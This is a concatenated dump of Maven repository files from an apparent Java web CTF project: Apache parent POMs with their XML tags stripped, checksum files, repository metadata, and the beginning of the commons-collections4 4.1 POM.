maven-scm-publish-plugin 1.0-beta-2 org.apache.maven.plugins maven-site-plugin 3.2 org.apache.maven.plugins maven-source-plugin 2.2.1 org.apache.maven.plugins maven-surefire-plugin 2.12.4 org.apache.rat apache-rat-plugin 0.8 org.codehaus.mojo clirr-maven-plugin 2.4 org.apache.maven.plugins maven-remote-resources-plugin process org.apache:apache-jar-resource-bundle:1.4 apache-release maven-assembly-plugin org.apache.apache.resources apache-source-release-assembly-descriptor 1.0.4 source-release-assembly package single true ${sourceReleaseAssemblyDescriptor} gnu true org.apache.maven.plugins maven-deploy-plugin true org.apache.maven.plugins maven-source-plugin attach-sources jar org.apache.maven.plugins maven-javadoc-plugin attach-javadocs jar org.apache.maven.plugins maven-gpg-plugin ${gpg.passphrase} ${gpg.useagent} sign maven-3 ${basedir} org.apache.maven.plugins maven-site-plugin attach-descriptor attach-descriptor ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/apache/13/apache-13.pom.sha1 ================================================ 15aff1faaec4963617f07dbe8e603f0adabc3a12 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/apache/14/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:54 CST 2018 apache-14.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/apache/14/apache-14.pom ================================================ 4.0.0 org.apache apache 14 pom The Apache Software Foundation The Apache Software Foundation provides support for the Apache community of open-source software projects. The Apache projects are characterized by a collaborative, consensus based development process, an open and pragmatic software license, and a desire to create high quality software that leads the way in its field. We consider ourselves not simply a group of projects sharing a server, but rather a community of developers and users. http://www.apache.org/ The Apache Software Foundation http://www.apache.org/ The Apache Software License, Version 2.0 http://www.apache.org/licenses/LICENSE-2.0.txt repo Apache Announce List announce-subscribe@apache.org announce-unsubscribe@apache.org announce@apache.org http://mail-archives.apache.org/mod_mbox/www-announce/ 2.2.1 scm:svn:http://svn.apache.org/repos/asf/maven/pom/tags/apache-14 scm:svn:https://svn.apache.org/repos/asf/maven/pom/tags/apache-14 http://svn.apache.org/viewvc/maven/pom/tags/apache-14 apache.releases.https Apache Release Distribution Repository https://repository.apache.org/service/local/staging/deploy/maven2 apache.snapshots.https ${distMgmtSnapshotsName} ${distMgmtSnapshotsUrl} Apache Development Snapshot Repository https://repository.apache.org/content/repositories/snapshots http://www.apache.org/images/asf_logo_wide.gif UTF-8 UTF-8 source-release true apache.snapshots Apache Snapshot Repository http://repository.apache.org/snapshots false org.apache.maven.plugins maven-antrun-plugin 1.7 org.apache.maven.plugins maven-assembly-plugin 2.4 org.apache.maven.plugins maven-clean-plugin 2.5 org.apache.maven.plugins maven-compiler-plugin 3.1 1.4 1.4 org.apache.maven.plugins maven-dependency-plugin 2.8 org.apache.maven.plugins maven-deploy-plugin 2.8.1 org.apache.maven.plugins maven-docck-plugin 1.0 org.apache.maven.plugins maven-enforcer-plugin 1.3.1 org.apache.maven.plugins maven-failsafe-plugin 2.16 org.apache.maven.plugins maven-gpg-plugin 1.4 org.apache.maven.plugins maven-install-plugin 2.5.1 org.apache.maven.plugins maven-invoker-plugin 1.8 org.apache.maven.plugins maven-jar-plugin 2.4 true true org.apache.maven.plugins maven-javadoc-plugin 2.9.1 org.apache.maven.plugins maven-plugin-plugin 3.2 org.apache.maven.plugins maven-release-plugin 2.4.2 false deploy -Papache-release ${arguments} org.apache.maven.plugins maven-remote-resources-plugin 1.5 org.apache.maven.plugins maven-resources-plugin 2.6 org.apache.maven.plugins maven-scm-plugin 1.9 org.apache.maven.plugins maven-scm-publish-plugin 1.0-beta-2 org.apache.maven.plugins maven-site-plugin 3.3 org.apache.maven.plugins maven-source-plugin 2.2.1 org.apache.maven.plugins maven-surefire-plugin 2.16 org.apache.rat apache-rat-plugin 0.10 org.codehaus.mojo clirr-maven-plugin 2.6.1 org.apache.maven.plugins maven-remote-resources-plugin process org.apache:apache-jar-resource-bundle:1.4 apache-release maven-assembly-plugin org.apache.apache.resources apache-source-release-assembly-descriptor 1.0.4 source-release-assembly package single true ${sourceReleaseAssemblyDescriptor} gnu true org.apache.maven.plugins maven-deploy-plugin true org.apache.maven.plugins maven-source-plugin attach-sources jar org.apache.maven.plugins maven-javadoc-plugin attach-javadocs jar org.apache.maven.plugins maven-gpg-plugin ${gpg.passphrase} ${gpg.useagent} sign maven-3 ${basedir} org.apache.maven.plugins maven-scm-publish-plugin 1.0 org.apache.maven.plugins maven-site-plugin attach-descriptor attach-descriptor ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/apache/14/apache-14.pom.sha1 ================================================ 5c7956a91f3faaa9534cdc2b571c90bde2235157 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/apache/15/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:55:31 CST 2018 apache-15.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/apache/15/apache-15.pom ================================================ 4.0.0 org.apache apache 15 pom The Apache Software Foundation The Apache Software Foundation provides support for the Apache community of open-source software projects. The Apache projects are characterized by a collaborative, consensus based development process, an open and pragmatic software license, and a desire to create high quality software that leads the way in its field. We consider ourselves not simply a group of projects sharing a server, but rather a community of developers and users. http://www.apache.org/ The Apache Software Foundation http://www.apache.org/ Apache License, Version 2.0 http://www.apache.org/licenses/LICENSE-2.0.txt repo Apache Announce List announce-subscribe@apache.org announce-unsubscribe@apache.org announce@apache.org http://mail-archives.apache.org/mod_mbox/www-announce/ 2.2.1 scm:svn:http://svn.apache.org/repos/asf/maven/pom/tags/apache-15 scm:svn:https://svn.apache.org/repos/asf/maven/pom/tags/apache-15 http://svn.apache.org/viewvc/maven/pom/tags/apache-15 apache.releases.https Apache Release Distribution Repository https://repository.apache.org/service/local/staging/deploy/maven2 apache.snapshots.https ${distMgmtSnapshotsName} ${distMgmtSnapshotsUrl} Apache Development Snapshot Repository https://repository.apache.org/content/repositories/snapshots http://www.apache.org/images/asf_logo_wide.gif UTF-8 UTF-8 source-release true 1.4 1.4 apache.snapshots Apache Snapshot Repository http://repository.apache.org/snapshots false org.apache.maven.plugins maven-antrun-plugin 1.7 org.apache.maven.plugins maven-assembly-plugin 2.4.1 org.apache.maven.plugins maven-clean-plugin 2.5 org.apache.maven.plugins maven-compiler-plugin 3.1 org.apache.maven.plugins maven-dependency-plugin 2.8 org.apache.maven.plugins maven-deploy-plugin 2.8.2 org.apache.maven.plugins maven-docck-plugin 1.0 org.apache.maven.plugins maven-enforcer-plugin 1.3.1 org.apache.maven.plugins maven-failsafe-plugin 2.17 org.apache.maven.plugins maven-gpg-plugin 1.5 org.apache.maven.plugins maven-install-plugin 2.5.2 org.apache.maven.plugins maven-invoker-plugin 1.9 org.apache.maven.plugins maven-jar-plugin 2.5 true true org.apache.maven.plugins maven-javadoc-plugin 2.9.1 org.apache.maven.plugins maven-plugin-plugin 3.3 org.apache.maven.plugins maven-release-plugin 2.5.1 false deploy -Papache-release ${arguments} 10 org.apache.maven.plugins maven-remote-resources-plugin 1.5 org.apache.maven.plugins maven-resources-plugin 2.6 org.apache.maven.plugins maven-scm-plugin 1.9.2 org.apache.maven.plugins maven-scm-publish-plugin 1.0-beta-2 org.apache.maven.plugins maven-site-plugin 3.4 org.apache.maven maven-archiver 2.5 org.codehaus.plexus plexus-archiver 2.4.4 org.apache.maven.plugins maven-source-plugin 2.3 org.apache.maven.plugins maven-surefire-plugin 2.17 org.apache.rat apache-rat-plugin 0.11 org.codehaus.mojo clirr-maven-plugin 2.6.1 org.apache.maven.plugins maven-remote-resources-plugin process org.apache:apache-jar-resource-bundle:1.4 apache-release maven-assembly-plugin org.apache.apache.resources apache-source-release-assembly-descriptor 1.0.4 source-release-assembly package single true ${sourceReleaseAssemblyDescriptor} gnu true org.apache.maven.plugins maven-deploy-plugin true org.apache.maven.plugins maven-source-plugin attach-sources jar org.apache.maven.plugins maven-javadoc-plugin attach-javadocs jar org.apache.maven.plugins maven-gpg-plugin sign maven-3 ${basedir} org.apache.maven.plugins maven-scm-publish-plugin 1.1 org.apache.maven.plugins maven-site-plugin attach-descriptor attach-descriptor ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/apache/15/apache-15.pom.sha1 ================================================ 95c70374817194cabfeec410fe70c3a6b832bafe ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/apache/16/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:55:32 CST 2018 apache-16.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/apache/16/apache-16.pom ================================================ 4.0.0 org.apache apache 16 pom The Apache Software Foundation The Apache Software Foundation provides support for the Apache community of open-source software projects. The Apache projects are characterized by a collaborative, consensus based development process, an open and pragmatic software license, and a desire to create high quality software that leads the way in its field. We consider ourselves not simply a group of projects sharing a server, but rather a community of developers and users. http://www.apache.org/ The Apache Software Foundation http://www.apache.org/ Apache License, Version 2.0 http://www.apache.org/licenses/LICENSE-2.0.txt repo Apache Announce List announce-subscribe@apache.org announce-unsubscribe@apache.org announce@apache.org http://mail-archives.apache.org/mod_mbox/www-announce/ 2.2.1 scm:svn:http://svn.apache.org/repos/asf/maven/pom/tags/apache-16 scm:svn:https://svn.apache.org/repos/asf/maven/pom/tags/apache-16 http://svn.apache.org/viewvc/maven/pom/tags/apache-16 apache.releases.https Apache Release Distribution Repository https://repository.apache.org/service/local/staging/deploy/maven2 apache.snapshots.https ${distMgmtSnapshotsName} ${distMgmtSnapshotsUrl} Apache Development Snapshot Repository https://repository.apache.org/content/repositories/snapshots http://www.apache.org/images/asf_logo_wide.gif UTF-8 UTF-8 source-release true 1.4 1.4 apache.snapshots Apache Snapshot Repository http://repository.apache.org/snapshots false org.apache.maven.plugins maven-antrun-plugin 1.7 org.apache.maven.plugins maven-assembly-plugin 2.4.1 org.apache.maven.plugins maven-clean-plugin 2.5 org.apache.maven.plugins maven-compiler-plugin 3.1 ${maven.compiler.source} ${maven.compiler.target} org.apache.maven.plugins maven-dependency-plugin 2.8 org.apache.maven.plugins maven-deploy-plugin 2.8.2 org.apache.maven.plugins maven-docck-plugin 1.0 org.apache.maven.plugins maven-enforcer-plugin 1.3.1 org.apache.maven.plugins maven-failsafe-plugin 2.17 org.apache.maven.plugins maven-gpg-plugin 1.5 org.apache.maven.plugins maven-install-plugin 2.5.2 org.apache.maven.plugins maven-invoker-plugin 1.9 org.apache.maven.plugins maven-jar-plugin 2.5 true true org.apache.maven.plugins maven-javadoc-plugin 2.9.1 org.apache.maven.plugins maven-plugin-plugin 3.3 org.apache.maven.plugins maven-release-plugin 2.5.1 false deploy -Papache-release ${arguments} 10 org.apache.maven.plugins maven-remote-resources-plugin 1.5 org.apache.maven.plugins maven-resources-plugin 2.6 org.apache.maven.plugins maven-scm-plugin 1.9.2 org.apache.maven.plugins maven-scm-publish-plugin 1.0-beta-2 org.apache.maven.plugins maven-site-plugin 3.4 org.apache.maven maven-archiver 2.5 org.codehaus.plexus plexus-archiver 2.4.4 org.apache.maven.plugins maven-source-plugin 2.3 org.apache.maven.plugins maven-surefire-plugin 2.17 org.apache.rat apache-rat-plugin 0.11 org.codehaus.mojo clirr-maven-plugin 2.6.1 org.apache.maven.plugins maven-remote-resources-plugin process org.apache:apache-jar-resource-bundle:1.4 apache-release maven-assembly-plugin org.apache.apache.resources apache-source-release-assembly-descriptor 1.0.4 source-release-assembly package single true ${sourceReleaseAssemblyDescriptor} gnu true org.apache.maven.plugins maven-deploy-plugin true org.apache.maven.plugins maven-source-plugin attach-sources jar org.apache.maven.plugins maven-javadoc-plugin attach-javadocs jar org.apache.maven.plugins maven-gpg-plugin sign maven-3 ${basedir} org.apache.maven.plugins maven-scm-publish-plugin 1.1 org.apache.maven.plugins maven-site-plugin attach-descriptor attach-descriptor ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/apache/16/apache-16.pom.sha1 ================================================ 8a90e31780e5cd0685ccaf25836c66e3b4e163b7 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/apache/2/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:01:40 CST 2018 apache-2.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/apache/2/apache-2.pom ================================================ 4.0.0 org.apache apache 2 pom The Apache Software Foundation The Apache Software Foundation provides support for the Apache community of open-source software projects. The Apache projects are characterized by a collaborative, consensus based development process, an open and pragmatic software license, and a desire to create high quality software that leads the way in its field. We consider ourselves not simply a group of projects sharing a server, but rather a community of developers and users. The Apache Software License, Version 2.0 http://www.apache.org/licenses/LICENSE-2.0.txt repo Apache Software Foundation http://www.apache.org/ http://www.apache.org/ apache.snapshots Apache Snapshot Repository http://people.apache.org/maven-snapshot-repository false apache.releases Apache Release Distribution Repository scp://people.apache.org/www/www.apache.org/dist/maven-repository apache.snapshots Apache Development Snapshot Repository scp://people.apache.org/www/cvs.apache.org/maven-snapshot-repository Apache Announce List announce-subscribe@apache.org announce-unsubscribe@apache.org announce@apache.org http://mail-archives.apache.org/mod_mbox/www-announce/ ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/apache/2/apache-2.pom.sha1 ================================================ bfe8f1ae400b4fdf0365b6b61cde3a6cae5750e3 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/apache/3/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:58:24 CST 2018 apache-3.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/apache/3/apache-3.pom ================================================ 4.0.0 org.apache apache 3 pom The Apache Software Foundation The Apache Software Foundation provides support for the Apache community of open-source software projects. The Apache projects are characterized by a collaborative, consensus based development process, an open and pragmatic software license, and a desire to create high quality software that leads the way in its field. We consider ourselves not simply a group of projects sharing a server, but rather a community of developers and users. The Apache Software License, Version 2.0 http://www.apache.org/licenses/LICENSE-2.0.txt repo Apache Software Foundation http://www.apache.org/ http://www.apache.org/ apache.snapshots Apache Snapshot Repository http://people.apache.org/repo/m2-snapshot-repository false apache.releases Apache Release Distribution Repository scp://people.apache.org/www/people.apache.org/repo/m2-ibiblio-rsync-repository apache.snapshots Apache Development Snapshot Repository scp://people.apache.org/www/people.apache.org/repo/m2-snapshot-repository Apache Announce List announce-subscribe@apache.org announce-unsubscribe@apache.org announce@apache.org http://mail-archives.apache.org/mod_mbox/www-announce/ ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/apache/3/apache-3.pom.sha1 ================================================ 1bc0010136a890e2fd38d901a0b7ecdf0e3f9871 *./apache-3.pom ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/apache/4/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:55:54 CST 2018 apache-4.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/apache/4/apache-4.pom ================================================ 4.0.0 org.apache apache 4 pom The Apache Software Foundation The Apache Software Foundation provides support for the Apache community of open-source software projects. The Apache projects are characterized by a collaborative, consensus based development process, an open and pragmatic software license, and a desire to create high quality software that leads the way in its field. We consider ourselves not simply a group of projects sharing a server, but rather a community of developers and users. The Apache Software License, Version 2.0 http://www.apache.org/licenses/LICENSE-2.0.txt repo The Apache Software Foundation http://www.apache.org/ http://www.apache.org/ apache.snapshots Apache Snapshot Repository http://people.apache.org/repo/m2-snapshot-repository false apache.releases Apache Release Distribution Repository scp://people.apache.org/www/people.apache.org/repo/m2-ibiblio-rsync-repository apache.snapshots Apache Development Snapshot Repository scp://people.apache.org/www/people.apache.org/repo/m2-snapshot-repository Apache Announce List announce-subscribe@apache.org announce-unsubscribe@apache.org announce@apache.org http://mail-archives.apache.org/mod_mbox/www-announce/ http://www.apache.org/images/asf_logo_wide.gif scm:svn:http://svn.apache.org/repos/asf/maven/pom/tags/apache-4 scm:svn:https://svn.apache.org/repos/asf/maven/pom/tags/apache-4 http://svn.apache.org/viewvc/maven/pom/tags/apache-4 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/apache/4/apache-4.pom.sha1 ================================================ 602b647986c1d24301bc3d70e5923696bc7f1401 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/apache/5/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:36 CST 2018 apache-5.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/apache/5/apache-5.pom ================================================ 4.0.0 org.apache apache 5 pom The Apache Software Foundation The Apache Software Foundation provides support for the Apache community of open-source software projects. The Apache projects are characterized by a collaborative, consensus based development process, an open and pragmatic software license, and a desire to create high quality software that leads the way in its field. We consider ourselves not simply a group of projects sharing a server, but rather a community of developers and users. The Apache Software License, Version 2.0 http://www.apache.org/licenses/LICENSE-2.0.txt repo The Apache Software Foundation http://www.apache.org/ http://www.apache.org/ apache.snapshots Apache Snapshot Repository http://repository.apache.org/snapshots false apache.releases.https Apache Release Distribution Repository https://repository.apache.org/service/local/staging/deploy/maven2 apache.snapshots.https ${distMgmtSnapshotsName} ${distMgmtSnapshotsUrl} Apache Announce List announce-subscribe@apache.org announce-unsubscribe@apache.org announce@apache.org http://mail-archives.apache.org/mod_mbox/www-announce/ Apache Development Snapshot Repository https://repository.apache.org/content/repositories/snapshots http://www.apache.org/images/asf_logo_wide.gif scm:svn:http://svn.apache.org/repos/asf/maven/pom/tags/apache-5 scm:svn:https://svn.apache.org/repos/asf/maven/pom/tags/apache-5 http://svn.apache.org/viewvc/maven/pom/tags/apache-5 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/apache/5/apache-5.pom.sha1 ================================================ a99e211eb2be05af269c489b0f1abb9e8469fbca ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/apache/6/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:00:08 CST 2018 apache-6.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/apache/6/apache-6.pom ================================================ 4.0.0 org.apache apache 6 pom The Apache Software Foundation The Apache Software Foundation provides support for the Apache community of open-source software projects. The Apache projects are characterized by a collaborative, consensus based development process, an open and pragmatic software license, and a desire to create high quality software that leads the way in its field. We consider ourselves not simply a group of projects sharing a server, but rather a community of developers and users. The Apache Software License, Version 2.0 http://www.apache.org/licenses/LICENSE-2.0.txt repo The Apache Software Foundation http://www.apache.org/ http://www.apache.org/ apache.snapshots Apache Snapshot Repository http://repository.apache.org/snapshots false apache.releases.https Apache Release Distribution Repository https://repository.apache.org/service/local/staging/deploy/maven2 apache.snapshots.https ${distMgmtSnapshotsName} ${distMgmtSnapshotsUrl} Apache Announce List announce-subscribe@apache.org announce-unsubscribe@apache.org announce@apache.org http://mail-archives.apache.org/mod_mbox/www-announce/ Apache Development Snapshot Repository https://repository.apache.org/content/repositories/snapshots http://www.apache.org/images/asf_logo_wide.gif UTF-8 scm:svn:http://svn.apache.org/repos/asf/maven/pom/tags/apache-6 scm:svn:https://svn.apache.org/repos/asf/maven/pom/tags/apache-6 http://svn.apache.org/viewvc/maven/pom/tags/apache-6 org.apache.maven.plugins maven-antrun-plugin 1.3 org.apache.maven.plugins maven-clean-plugin 2.3 org.apache.maven.plugins maven-compiler-plugin 2.0.2 1.4 1.4 ${project.build.sourceEncoding} org.apache.maven.plugins maven-deploy-plugin 2.4 org.apache.maven.plugins maven-docck-plugin 1.0 org.apache.maven.plugins maven-enforcer-plugin 1.0-beta-1 org.apache.maven.plugins maven-gpg-plugin 1.0-alpha-4 org.apache.maven.plugins maven-install-plugin 2.2 org.apache.maven.plugins maven-invoker-plugin 1.3 org.apache.maven.plugins maven-jar-plugin 2.2 true true org.apache.maven.plugins maven-javadoc-plugin 2.5 org.apache.maven.plugins maven-plugin-plugin 2.5 org.apache.maven.plugins maven-release-plugin 2.0-beta-9 false deploy -Papache-release org.apache.maven.plugins maven-remote-resources-plugin 1.0 org.apache.maven.plugins maven-resources-plugin 2.3 ${project.build.sourceEncoding} org.apache.maven.plugins maven-scm-plugin 1.2 org.apache.maven.plugins maven-site-plugin 2.0 org.apache.maven.plugins maven-source-plugin 2.0.4 org.apache.maven.plugins maven-surefire-plugin 2.4.3 org.codehaus.mojo clirr-maven-plugin 2.2.2 org.codehaus.plexus plexus-maven-plugin 1.3.8 org.codehaus.modello modello-maven-plugin 1.0.1 org.apache.maven.plugins maven-remote-resources-plugin process org.apache:apache-jar-resource-bundle:1.4 maven-project-info-reports-plugin 2.1.1 apache-release org.apache.maven.plugins maven-gpg-plugin ${gpg.passphrase} sign true org.apache.maven.plugins maven-deploy-plugin true org.apache.maven.plugins maven-source-plugin attach-sources jar org.apache.maven.plugins maven-javadoc-plugin ${project.build.sourceEncoding} attach-javadocs jar ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/apache/6/apache-6.pom.sha1 ================================================ 70e78921afc16d914e65611d18ab1b2d6cb20e57 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/apache/7/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:55:36 CST 2018 apache-7.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/apache/7/apache-7.pom ================================================ 4.0.0 org.apache apache 7 pom The Apache Software Foundation The Apache Software Foundation provides support for the Apache community of open-source software projects. The Apache projects are characterized by a collaborative, consensus based development process, an open and pragmatic software license, and a desire to create high quality software that leads the way in its field. We consider ourselves not simply a group of projects sharing a server, but rather a community of developers and users. The Apache Software License, Version 2.0 http://www.apache.org/licenses/LICENSE-2.0.txt repo The Apache Software Foundation http://www.apache.org/ http://www.apache.org/ apache.snapshots Apache Snapshot Repository http://repository.apache.org/snapshots false apache.releases.https Apache Release Distribution Repository https://repository.apache.org/service/local/staging/deploy/maven2 apache.snapshots.https ${distMgmtSnapshotsName} ${distMgmtSnapshotsUrl} Apache Announce List announce-subscribe@apache.org announce-unsubscribe@apache.org announce@apache.org http://mail-archives.apache.org/mod_mbox/www-announce/ Apache Development Snapshot Repository https://repository.apache.org/content/repositories/snapshots http://www.apache.org/images/asf_logo_wide.gif UTF-8 source-release scm:svn:http://svn.apache.org/repos/asf/maven/pom/tags/apache-7 scm:svn:https://svn.apache.org/repos/asf/maven/pom/tags/apache-7 http://svn.apache.org/viewvc/maven/pom/tags/apache-7 org.apache.maven.plugins maven-antrun-plugin 1.3 org.apache.maven.plugins maven-assembly-plugin 2.2-beta-5 org.apache.maven.plugins maven-clean-plugin 2.3 org.apache.maven.plugins maven-compiler-plugin 2.0.2 1.4 1.4 ${project.build.sourceEncoding} org.apache.maven.plugins maven-deploy-plugin 2.5 org.apache.maven.plugins maven-docck-plugin 1.0 org.apache.maven.plugins maven-enforcer-plugin 1.0-beta-1 org.apache.maven.plugins maven-gpg-plugin 1.0-alpha-4 org.apache.maven.plugins maven-install-plugin 2.3 org.apache.maven.plugins maven-invoker-plugin 1.5 org.apache.maven.plugins maven-jar-plugin 2.3 true true org.apache.maven.plugins maven-javadoc-plugin 2.5 org.apache.maven.plugins maven-plugin-plugin 2.5.1 org.apache.maven.plugins maven-release-plugin 2.0-beta-9 false deploy -Papache-release org.apache.maven.plugins maven-remote-resources-plugin 1.1 org.apache.maven.plugins maven-resources-plugin 2.4 ${project.build.sourceEncoding} org.apache.maven.plugins maven-scm-plugin 1.2 org.apache.maven.plugins maven-site-plugin 2.0.1 org.apache.maven.plugins maven-source-plugin 2.1.1 org.apache.maven.plugins maven-surefire-plugin 2.4.3 org.codehaus.mojo clirr-maven-plugin 2.2.2 org.codehaus.plexus plexus-maven-plugin 1.3.8 org.codehaus.modello modello-maven-plugin 1.1 org.apache.maven.plugins maven-remote-resources-plugin process org.apache:apache-jar-resource-bundle:1.4 maven-project-info-reports-plugin 2.1.2 apache-release maven-assembly-plugin org.apache.apache.resources apache-source-release-assembly-descriptor 1.0.2 source-release-assembly package single true ${sourceReleaseAssemblyDescriptor} gnu org.apache.maven.plugins maven-gpg-plugin ${gpg.passphrase} sign true org.apache.maven.plugins maven-deploy-plugin true org.apache.maven.plugins maven-source-plugin attach-sources jar org.apache.maven.plugins maven-javadoc-plugin ${project.build.sourceEncoding} attach-javadocs jar ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/apache/7/apache-7.pom.sha1 ================================================ a5f679b14bb06a3cb3769eb04e228c8b9e12908f ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/apache/9/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:26 CST 2018 apache-9.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/apache/9/apache-9.pom ================================================ 4.0.0 org.apache apache 9 pom The Apache Software Foundation The Apache Software Foundation provides support for the Apache community of open-source software projects. The Apache projects are characterized by a collaborative, consensus based development process, an open and pragmatic software license, and a desire to create high quality software that leads the way in its field. We consider ourselves not simply a group of projects sharing a server, but rather a community of developers and users. The Apache Software License, Version 2.0 http://www.apache.org/licenses/LICENSE-2.0.txt repo The Apache Software Foundation http://www.apache.org/ http://www.apache.org/ apache.snapshots Apache Snapshot Repository http://repository.apache.org/snapshots false apache.releases.https Apache Release Distribution Repository https://repository.apache.org/service/local/staging/deploy/maven2 apache.snapshots.https ${distMgmtSnapshotsName} ${distMgmtSnapshotsUrl} Apache Announce List announce-subscribe@apache.org announce-unsubscribe@apache.org announce@apache.org http://mail-archives.apache.org/mod_mbox/www-announce/ Apache Development Snapshot Repository https://repository.apache.org/content/repositories/snapshots http://www.apache.org/images/asf_logo_wide.gif UTF-8 source-release scm:svn:http://svn.apache.org/repos/asf/maven/pom/tags/apache-9 scm:svn:https://svn.apache.org/repos/asf/maven/pom/tags/apache-9 http://svn.apache.org/viewvc/maven/pom/tags/apache-9 org.apache.maven.plugins maven-antrun-plugin 1.6 org.apache.maven.plugins maven-assembly-plugin 2.2 org.apache.maven.plugins maven-clean-plugin 2.4.1 org.apache.maven.plugins maven-compiler-plugin 2.3.2 1.4 1.4 ${project.build.sourceEncoding} org.apache.maven.plugins maven-deploy-plugin 2.5 org.apache.maven.plugins maven-docck-plugin 1.0 org.apache.maven.plugins maven-enforcer-plugin 1.0 org.apache.maven.plugins maven-gpg-plugin 1.1 org.apache.maven.plugins maven-install-plugin 2.3.1 org.apache.maven.plugins maven-invoker-plugin 1.5 org.apache.maven.plugins maven-jar-plugin 2.3.1 true true org.apache.maven.plugins maven-javadoc-plugin 2.5 org.apache.maven.plugins maven-plugin-plugin 2.7 org.apache.maven.plugins maven-release-plugin 2.1 false deploy -Papache-release org.apache.maven.plugins maven-remote-resources-plugin 1.1 org.apache.maven.plugins maven-resources-plugin 2.4.3 ${project.build.sourceEncoding} org.apache.maven.plugins maven-scm-plugin 1.4 org.apache.maven.plugins maven-site-plugin 2.2 org.apache.maven.plugins maven-source-plugin 2.1.2 org.apache.maven.plugins maven-surefire-plugin 2.7.2 org.apache.rat apache-rat-plugin 0.7 org.codehaus.mojo clirr-maven-plugin 2.3 org.codehaus.plexus plexus-maven-plugin 1.3.8 org.codehaus.modello modello-maven-plugin 1.4.1 org.apache.maven.plugins maven-remote-resources-plugin process org.apache:apache-jar-resource-bundle:1.4 org.apache.maven.plugins maven-project-info-reports-plugin 2.3.1 apache-release maven-assembly-plugin org.apache.apache.resources apache-source-release-assembly-descriptor 1.0.3 source-release-assembly package single true ${sourceReleaseAssemblyDescriptor} gnu true org.apache.maven.plugins maven-deploy-plugin true org.apache.maven.plugins maven-source-plugin attach-sources jar org.apache.maven.plugins maven-javadoc-plugin attach-javadocs jar org.apache.maven.plugins maven-gpg-plugin ${gpg.passphrase} true sign maven-3 ${basedir} org.apache.maven.plugins maven-site-plugin 3.0-beta-3 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/apache/9/apache-9.pom.sha1 ================================================ de55d73a30c7521f3d55e8141d360ffbdfd88caa ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/commons/commons-collections4/4.1/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:04 CST 2018 commons-collections4-4.1.jar>central= commons-collections4-4.1.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/commons/commons-collections4/4.1/commons-collections4-4.1.jar.sha1 ================================================ a4cf4688fe1c7e3a63aa636cc96d013af537768e ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/commons/commons-collections4/4.1/commons-collections4-4.1.pom ================================================ org.apache.commons commons-parent 38 4.0.0 org.apache.commons commons-collections4 4.1 Apache Commons Collections 2001 The Apache Commons Collections package contains types that extend and augment the Java Collections Framework. http://commons.apache.org/proper/commons-collections/ jira http://issues.apache.org/jira/browse/COLLECTIONS scm:svn:http://svn.apache.org/repos/asf/commons/proper/collections/trunk scm:svn:https://svn.apache.org/repos/asf/commons/proper/collections/trunk http://svn.apache.org/viewvc/commons/proper/collections/trunk Matt Benson mbenson James Carman jcarman Stephen Colebourne scolebourne Robert Burrell Donkin rdonkin Morgan Delagrange morgand Gary D. Gregory ggregory Matthew Hawthorne matth Dipanjan Laha dlaha Geir Magnusson geirm Luc Maisonobe luc Craig 